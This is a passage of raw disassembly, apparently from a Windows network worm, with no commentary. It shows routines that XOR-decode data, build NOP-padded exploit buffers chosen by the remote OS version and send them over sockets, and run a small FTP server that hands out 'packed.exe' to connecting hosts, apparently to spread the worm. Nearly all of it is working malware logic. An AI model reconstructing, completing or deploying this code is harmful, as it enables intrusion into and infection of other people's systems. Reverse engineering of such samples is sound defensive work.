XREF: sub_4105FB+15j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short locret_410647 mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, byte_41EAF0[edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_410612 ; --------------------------------------------------------------------------- locret_410647: ; CODE XREF: sub_4105FB+Fj ; sub_4105FB+29j leave retn sub_4105FB endp ; --------------------------------------------------------------------------- loc_410649: ; DATA XREF: .data:off_41CCFEo push ebp mov ebp, esp mov eax, 1B78h call sub_416BC0 push 48h push offset dword_41A7B0 mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 0EA60h mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_410686 jmp locret_410B50 ; --------------------------------------------------------------------------- loc_410686: ; CODE XREF: .text:0041067Fj push 0 push 1000h lea eax, [ebp-1B74h] push eax mov eax, [ebp+8] push dword ptr [eax+3Eh] call ds:dword_417248 ; recv push 7 push offset a__ ; "\r\n\\_/." mov eax, [ebp+8] push dword ptr [eax+2Ah] mov eax, [ebp+8] add eax, 146h push eax mov eax, [ebp+8] add eax, 0C6h push eax mov eax, [ebp+8] push dword ptr [eax+0C2h] push 200h lea eax, [ebp-200h] push eax call sub_4125DF add esp, 20h mov [ebp-370h], eax cmp dword ptr [ebp-370h], 0 jnz short loc_4106F0 jmp locret_410B50 ; --------------------------------------------------------------------------- loc_4106F0: ; CODE XREF: .text:004106E9j and dword ptr [ebp-374h], 0 jmp short loc_410706 ; --------------------------------------------------------------------------- loc_4106F9: ; CODE XREF: .text:0041072Aj mov eax, [ebp-374h] inc eax mov [ebp-374h], eax loc_410706: ; CODE XREF: .text:004106F7j cmp dword ptr [ebp-374h], 168h jge short loc_41072C push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp-374h] mov [ebp+ecx-36Ch], al jmp short loc_4106F9 ; --------------------------------------------------------------------------- loc_41072C: ; CODE XREF: .text:00410710j push 0Ah push offset dword_41A8A0 lea eax, [ebp-280h] push eax call sub_416B52 ; memcpy add esp, 0Ch push 2 push offset dword_41A8F0 lea eax, [ebp-276h] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41A8E8 lea eax, [ebp-272h] push eax call sub_416B52 ; memcpy add esp, 0Ch push 2 push offset dword_41A8EC lea eax, [ebp-23Ah] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41A8E4 lea eax, [ebp-236h] push eax call sub_416B52 ; memcpy add esp, 0Ch push 0Bh push offset dword_41A894 lea eax, [ebp-232h] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, 3E6h sub eax, [ebp-370h] mov [ebp-204h], eax and dword ptr [ebp-1B78h], 0 push 18h push offset dword_41A7FC mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-1B78h] add eax, 18h mov [ebp-1B78h], eax push 44h push offset dword_41A818 mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-1B78h] add eax, 44h mov [ebp-1B78h], eax push 20h push 0FFFFFF90h mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp-1B78h] add eax, 20h mov [ebp-1B78h], eax push 4 push offset dword_41A8AC mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-1B78h] add eax, 4 mov [ebp-1B78h], eax push 4 push offset dword_41A8E0 mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-1B78h] add eax, 4 mov [ebp-1B78h], eax push 4 push offset dword_41A8D8 mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-1B78h] add eax, 4 mov [ebp-1B78h], eax push 4 push offset dword_41A8DC mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-1B78h] add eax, 4 mov [ebp-1B78h], eax push 58h push 0FFFFFF90h mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp-1B78h] add eax, 58h mov [ebp-1B78h], eax push 6 push offset dword_41A8B4 mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-1B78h] add eax, 6 mov [ebp-1B78h], eax push 8 push 0FFFFFF90h mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp-1B78h] add eax, 8 mov [ebp-1B78h], eax push 4 push offset dword_41A8BC mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-1B78h] add eax, 4 mov [ebp-1B78h], eax push 4 push 0FFFFFF90h mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp-1B78h] add eax, 4 mov [ebp-1B78h], eax push 6 push offset dword_41A8C4 mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-1B78h] add eax, 6 mov [ebp-1B78h], eax push dword ptr [ebp-204h] push 0FFFFFF90h mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp-1B78h] add eax, [ebp-204h] mov [ebp-1B78h], eax push dword ptr [ebp-370h] lea eax, [ebp-200h] push eax mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-1B78h] add eax, [ebp-370h] mov [ebp-1B78h], eax push 168h lea eax, [ebp-36Ch] push eax mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-1B78h] add eax, 168h mov [ebp-1B78h], eax push 0Ah push offset aA ; "\\A" mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-1B78h] add eax, 0Ah mov [ebp-1B78h], eax push 32h push offset dword_41A860 mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-1B78h] add eax, 32h mov [ebp-1B78h], eax mov eax, [ebp-1B78h] mov [ebp-0B6Ch], eax mov eax, [ebp-1B78h] sub eax, 18h mov [ebp-0B64h], eax push dword ptr [ebp-1B78h] lea eax, [ebp-0B74h] push eax mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 0EA60h mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_410B36 jmp short locret_410B50 ; --------------------------------------------------------------------------- loc_410B36: ; CODE XREF: .text:00410B32j push 0 push 1000h lea eax, [ebp-1B74h] push eax mov eax, [ebp+8] push dword ptr [eax+3Eh] call ds:dword_417248 ; recv locret_410B50: ; CODE XREF: .text:00410681j ; .text:004106EBj ... leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 104Ch call sub_416BC0 push 7 push offset a__ ; "\r\n\\_/." mov eax, [ebp+8] push dword ptr [eax+2Ah] mov eax, [ebp+8] add eax, 146h push eax mov eax, [ebp+8] add eax, 0C6h push eax mov eax, [ebp+8] push dword ptr [eax+0C2h] push 200h lea eax, [ebp-204h] push eax call sub_4125DF add esp, 20h mov [ebp-20Ch], eax cmp dword ptr [ebp-20Ch], 0 jnz short loc_410BAF jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410BAF: ; CODE XREF: .text:00410BA8j push 89h push offset dword_41AF50 mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp-80Ch] push eax mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410BEF jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410BEF: ; CODE XREF: .text:00410BE8j push 0A8h push offset dword_41AFDC mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp-80Ch] push eax mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410C2F jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410C2F: ; CODE XREF: .text:00410C28j push 0DEh push offset dword_41B088 mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp-80Ch] push eax mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410C6F jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410C6F: ; CODE XREF: .text:00410C68j movsx eax, byte ptr [ebp-7CCh] sub eax, 30h mov [ebp-208h], al movsx eax, byte ptr [ebp-7C8h] sub eax, 30h mov [ebp-4], al push 3Eh push offset dword_41B168 mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp-80Ch] push eax mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410CC9 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410CC9: ; CODE XREF: .text:00410CC2j push 60h push offset dword_41B1A8 mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp-80Ch] push eax mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410D06 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410D06: ; CODE XREF: .text:00410CFFj push 0A0h push offset dword_41B20C mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp-80Ch] push eax mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410D46 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410D46: ; CODE XREF: .text:00410D3Fj movsx eax, byte ptr [ebp-208h] cmp eax, 5 jnz loc_410E71 movsx eax, byte ptr [ebp-4] cmp eax, 1 jnz loc_410E71 push 86h push offset dword_41B2B0 lea eax, [ebp-0B78h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp-20Ch] lea eax, [ebp-204h] push eax lea eax, [ebp-0AF2h] push eax call sub_416B52 ; memcpy add esp, 0Ch push 0 mov eax, 264h sub eax, [ebp-20Ch] add eax, 60h push eax mov eax, [ebp-20Ch] lea eax, [ebp+eax-0AF2h] push eax call sub_410F60 add esp, 0Ch push 4 push offset dword_41B410 lea eax, [ebp-88Eh] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp-882h] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp-85Eh] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp-852h] push eax call sub_416B52 ; memcpy add esp, 0Ch push 20h push offset dword_41B338 lea eax, [ebp-82Eh] push eax call sub_416B52 ; memcpy add esp, 0Ch push 36Ah lea eax, [ebp-0B78h] push eax mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 400h call ds:dword_41709C ; Sleep push 36Ah lea eax, [ebp-0B78h] push eax mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410E71: ; CODE XREF: .text:00410D50j ; .text:00410D5Dj movsx eax, byte ptr [ebp-208h] cmp eax, 5 jnz short loc_410E85 movsx eax, byte ptr [ebp-4] test eax, eax jz short loc_410E95 loc_410E85: ; CODE XREF: .text:00410E7Bj movsx eax, byte ptr [ebp-208h] cmp eax, 4 jnz locret_410F5E loc_410E95: ; CODE XREF: .text:00410E83j push 86h push offset dword_41B35C lea eax, [ebp-104Ch] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, 3E8h sub eax, [ebp-20Ch] push eax push 90h lea eax, [ebp-0FC6h] push eax call sub_416B6A ; memset add esp, 0Ch push dword ptr [ebp-20Ch] lea eax, [ebp-204h] push eax lea eax, [ebp-0BDEh] sub eax, [ebp-20Ch] push eax call sub_416B52 ; memcpy add esp, 0Ch and dword ptr [ebp-0B7Ch], 0 jmp short loc_410F06 ; --------------------------------------------------------------------------- loc_410EF9: ; CODE XREF: .text:00410F2Cj mov eax, [ebp-0B7Ch] inc eax mov [ebp-0B7Ch], eax loc_410F06: ; CODE XREF: .text:00410EF7j cmp dword ptr [ebp-0B7Ch], 10h jge short loc_410F2E push 4 push offset dword_41B408 mov eax, [ebp-0B7Ch] lea eax, [ebp+eax*4-0BDEh] push eax call sub_416B52 ; memcpy add esp, 0Ch jmp short loc_410EF9 ; --------------------------------------------------------------------------- loc_410F2E: ; CODE XREF: .text:00410F0Dj push 20h push offset dword_41B3E4 lea eax, [ebp-0B9Eh] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4CEh lea eax, [ebp-104Ch] push eax mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch locret_410F5E: ; CODE XREF: .text:00410BAAj ; .text:00410BEAj ... leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F60 proc near ; CODE XREF: .text:00410DB7p var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_8], 0 jnz short loc_410FA4 and [ebp+var_4], 0 jmp short loc_410F79 ; --------------------------------------------------------------------------- loc_410F72: ; CODE XREF: sub_410F60+3Dj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_410F79: ; CODE XREF: sub_410F60+10j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnb short loc_410F9F push 20h push 0 call sub_4103F5 pop ecx pop ecx imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov al, byte_41BB00[eax] mov [ecx], al jmp short loc_410F72 ; --------------------------------------------------------------------------- loc_410F9F: ; CODE XREF: sub_410F60+1Fj jmp locret_41102D ; --------------------------------------------------------------------------- loc_410FA4: ; CODE XREF: sub_410F60+Aj cmp [ebp+arg_8], 7Fh jnz short loc_410FDF and [ebp+var_8], 0 jmp short loc_410FB7 ; --------------------------------------------------------------------------- loc_410FB0: ; CODE XREF: sub_410F60+7Bj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_410FB7: ; CODE XREF: sub_410F60+4Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jnb short loc_410FDD push 5 push 0 call sub_4103F5 pop ecx pop ecx imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov al, byte_41BB00[eax] mov [ecx], al jmp short loc_410FB0 ; --------------------------------------------------------------------------- loc_410FDD: ; CODE XREF: sub_410F60+5Dj jmp short locret_41102D ; --------------------------------------------------------------------------- loc_410FDF: ; CODE XREF: sub_410F60+48j and [ebp+var_C], 0 loc_410FE3: ; CODE XREF: sub_410F60+ADj ; sub_410F60+CBj mov eax, [ebp+var_C] cmp eax, [ebp+arg_4] jnb short locret_41102D push 20h push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_10], al movsx eax, [ebp+var_10] imul eax, 5 mov ecx, [ebp+arg_8] and ecx, dword_41BB01[eax] test ecx, ecx jz short loc_41100F jmp short loc_410FE3 ; --------------------------------------------------------------------------- loc_41100F: ; CODE XREF: sub_410F60+ABj movsx eax, [ebp+var_10] imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_C] mov al, byte_41BB00[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_410FE3 ; --------------------------------------------------------------------------- locret_41102D: ; CODE XREF: sub_410F60:loc_410F9Fj ; sub_410F60:loc_410FDDj ... leave retn sub_410F60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41102F proc near ; CODE XREF: .text:004118D6p var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 210h push 0EA60h push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_4050EA add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411065 cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_41106C loc_411065: ; CODE XREF: sub_41102F+2Bj xor eax, eax jmp locret_411139 ; --------------------------------------------------------------------------- loc_41106C: ; CODE XREF: sub_41102F+34j push offset aRb ; "rb" push offset aPacked_exe ; "packed.exe" call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_208], eax cmp [ebp+var_208], 0 jnz short loc_41109F push [ebp+var_204] call sub_4053B1 pop ecx xor eax, eax jmp locret_411139 ; --------------------------------------------------------------------------- loc_41109F: ; CODE XREF: sub_41102F+5Bj ; sub_41102F:loc_41111Cj mov eax, [ebp+var_208] mov eax, [eax+0Ch] and eax, 10h test eax, eax jnz short loc_41111E push [ebp+var_208] push 200h push 1 lea eax, [ebp+var_200] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_20C], eax push [ebp+var_20C] lea eax, [ebp+var_200] push eax push [ebp+var_204] call sub_4053BF add esp, 0Ch mov [ebp+var_210], eax mov eax, [ebp+var_20C] cmp eax, [ebp+var_210] jz short loc_41111C push [ebp+var_204] call sub_4053B1 pop ecx push [ebp+var_208] call sub_416B82 ; fclose pop ecx xor eax, eax jmp short locret_411139 ; --------------------------------------------------------------------------- loc_41111C: ; CODE XREF: sub_41102F+CFj jmp short loc_41109F ; --------------------------------------------------------------------------- loc_41111E: ; CODE XREF: sub_41102F+7Ej push [ebp+var_204] call sub_40538D pop ecx push [ebp+var_208] call sub_416B82 ; fclose pop ecx push 1 pop eax locret_411139: ; CODE XREF: sub_41102F+38j ; sub_41102F+6Bj ... leave retn sub_41102F endp ; --------------------------------------------------------------------------- loc_41113B: ; DATA XREF: sub_411BBC+156o push ebp mov ebp, esp sub esp, 558h push edi mov eax, [ebp+8] mov [ebp-10Ch], eax push offset a220 ; "220 -\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch mov al, byte_41DE30 mov [ebp-104h], al push 3Fh pop ecx xor eax, eax lea edi, [ebp-103h] rep stosd stosw stosb mov al, byte_41DE30 mov [ebp-114h], al xor eax, eax lea edi, [ebp-113h] stosd stosb and dword ptr [ebp-4], 0 and dword ptr [ebp-118h], 0 and dword ptr [ebp-108h], 0 loc_4111CC: ; CODE XREF: .text:00411247j ; .text:004112F8j ... push 0EA60h push dword ptr [ebp-10Ch] call sub_40546E pop ecx pop ecx test eax, eax jz loc_4119BA push 200h lea eax, [ebp-318h] push eax push dword ptr [ebp-10Ch] call sub_4053DC add esp, 0Ch mov [ebp-520h], eax cmp dword ptr [ebp-520h], 0 jz short loc_411218 cmp dword ptr [ebp-520h], 0FFFFFFFFh jnz short loc_41121D loc_411218: ; CODE XREF: .text:0041120Dj jmp loc_4119BA ; --------------------------------------------------------------------------- loc_41121D: ; CODE XREF: .text:00411216j lea eax, [ebp-108h] push eax push offset dword_41C6AC lea eax, [ebp-318h] push eax call sub_40813C add esp, 0Ch mov [ebp-528h], eax cmp dword ptr [ebp-528h], 0 jnz short loc_411249 jmp short loc_4111CC ; --------------------------------------------------------------------------- loc_411249: ; CODE XREF: .text:00411245j lea eax, [ebp-108h] push eax push offset dword_41C6AC push 0 call sub_40813C add esp, 0Ch mov [ebp-51Ch], eax cmp dword ptr [ebp-51Ch], 0 jnz short loc_411278 mov dword ptr [ebp-51Ch], offset byte_41DE30 loc_411278: ; CODE XREF: .text:0041126Cj lea eax, [ebp-108h] push eax push offset dword_41C6AC push 0 call sub_40813C add esp, 0Ch push dword ptr [ebp-528h] call sub_40ED38 pop ecx mov [ebp-524h], eax mov eax, [ebp-524h] sub eax, dword_41C6A0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4112FD mov dword ptr [ebp-4], 1 push offset a331 ; "331 -\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4112FD: ; CODE XREF: .text:004112B3j mov eax, [ebp-524h] sub eax, dword_41C68C neg eax sbb eax, eax inc eax test eax, eax jz short loc_41135D mov dword ptr [ebp-118h], 1 push offset a230 ; "230 -\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41135D: ; CODE XREF: .text:00411310j cmp dword ptr [ebp-4], 0 jz short loc_41136C cmp dword ptr [ebp-118h], 0 jnz short loc_411371 loc_41136C: ; CODE XREF: .text:00411361j jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411371: ; CODE XREF: .text:0041136Aj mov eax, [ebp-524h] sub eax, dword_41C678 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4113C7 push offset a215 ; "215 -\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4113C7: ; CODE XREF: .text:00411384j mov eax, [ebp-524h] sub eax, dword_41C664 neg eax sbb eax, eax inc eax test eax, eax jz short loc_41141D push offset a211 ; "211 -\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41141D: ; CODE XREF: .text:004113DAj mov eax, [ebp-524h] sub eax, dword_41C654 neg eax sbb eax, eax inc eax test eax, eax jz short loc_411473 push offset a257 ; "257 \"/\" -\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411473: ; CODE XREF: .text:00411430j mov eax, [ebp-524h] sub eax, dword_41C63C neg eax sbb eax, eax inc eax test eax, eax jz short loc_4114C9 push offset a200 ; "200 -\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4114C9: ; CODE XREF: .text:00411486j mov eax, [ebp-524h] sub eax, dword_41C628 neg eax sbb eax, eax inc eax test eax, eax jz short loc_41151F push offset a425 ; "425 -\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41151F: ; CODE XREF: .text:004114DCj mov eax, [ebp-524h] sub eax, dword_41C614 neg eax sbb eax, eax inc eax test eax, eax jz loc_411622 lea eax, [ebp-534h] push eax lea eax, [ebp-52Ch] push eax lea eax, [ebp-540h] push eax lea eax, [ebp-53Ch] push eax lea eax, [ebp-538h] push eax lea eax, [ebp-530h] push eax push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u" push dword ptr [ebp-51Ch] call sub_416BA2 ; sscanf add esp, 20h movzx eax, byte ptr [ebp-540h] push eax movzx eax, byte ptr [ebp-53Ch] push eax movzx eax, byte ptr [ebp-538h] push eax movzx eax, byte ptr [ebp-530h] push eax push offset aU_U_U_U ; "%u.%u.%u.%u" push 100h lea eax, [ebp-104h] push eax call sub_416BAE ; _snprintf add esp, 1Ch mov eax, [ebp-52Ch] and eax, 0FFh shl eax, 8 mov ecx, [ebp-534h] and ecx, 0FFh or eax, ecx push eax push offset aU_0 ; "%u" push 6 lea eax, [ebp-114h] push eax call sub_416BAE ; _snprintf add esp, 10h push offset a200 ; "200 -\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411622: ; CODE XREF: .text:00411532j mov eax, [ebp-524h] sub eax, dword_41C5F4 neg eax sbb eax, eax inc eax test eax, eax jz loc_4116E9 push offset aRb ; "rb" push offset aPacked_exe ; "packed.exe" call sub_416B88 ; fopen pop ecx pop ecx mov [ebp-548h], eax cmp dword ptr [ebp-548h], 0 jnz short loc_411660 jmp loc_4119BA ; --------------------------------------------------------------------------- loc_411660: ; CODE XREF: .text:00411659j push 2 push 0 push dword ptr [ebp-548h] call sub_416B96 ; fseek add esp, 0Ch push dword ptr [ebp-548h] call sub_416B76 ; ftell pop ecx mov [ebp-544h], eax push 0 push 0 push dword ptr [ebp-548h] call sub_416B96 ; fseek add esp, 0Ch push dword ptr [ebp-548h] call sub_416B82 ; fclose pop ecx push dword ptr [ebp-544h] push offset a213U ; "213 %u\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 10h lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4116E9: ; CODE XREF: .text:00411635j mov eax, [ebp-524h] sub eax, dword_41C5DC neg eax sbb eax, eax inc eax test eax, eax jz loc_411873 push offset a150 ; "150 -\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch push 2710h push 0 lea eax, [ebp-114h] push eax lea eax, [ebp-104h] push eax call sub_4050EA add esp, 10h mov [ebp-54Ch], eax cmp dword ptr [ebp-54Ch], 0 jz short loc_411773 cmp dword ptr [ebp-54Ch], 0FFFFFFFFh jnz short loc_411778 loc_411773: ; CODE XREF: .text:00411768j jmp loc_4119BA ; --------------------------------------------------------------------------- loc_411778: ; CODE XREF: .text:00411771j push offset aRb ; "rb" push offset aPacked_exe ; "packed.exe" call sub_416B88 ; fopen pop ecx pop ecx mov [ebp-554h], eax cmp dword ptr [ebp-554h], 0 jnz short loc_41179D jmp loc_4119BA ; --------------------------------------------------------------------------- loc_41179D: ; CODE XREF: .text:00411796j push 2 push 0 push dword ptr [ebp-554h] call sub_416B96 ; fseek add esp, 0Ch push dword ptr [ebp-554h] call sub_416B76 ; ftell pop ecx mov [ebp-550h], eax push 0 push 0 push dword ptr [ebp-554h] call sub_416B96 ; fseek add esp, 0Ch push dword ptr [ebp-554h] call sub_416B82 ; fclose pop ecx push offset aPacked_exe ; "packed.exe" push dword ptr [ebp-550h] push offset aX32000Fh1024Ja ; "-x 3 2000 fh 1024 Jan 1 0:00 .\r\ndrwxr-x"... push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-54Ch] call sub_4053BF add esp, 0Ch push dword ptr [ebp-54Ch] call sub_40538D pop ecx push offset a226 ; "226 -\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411873: 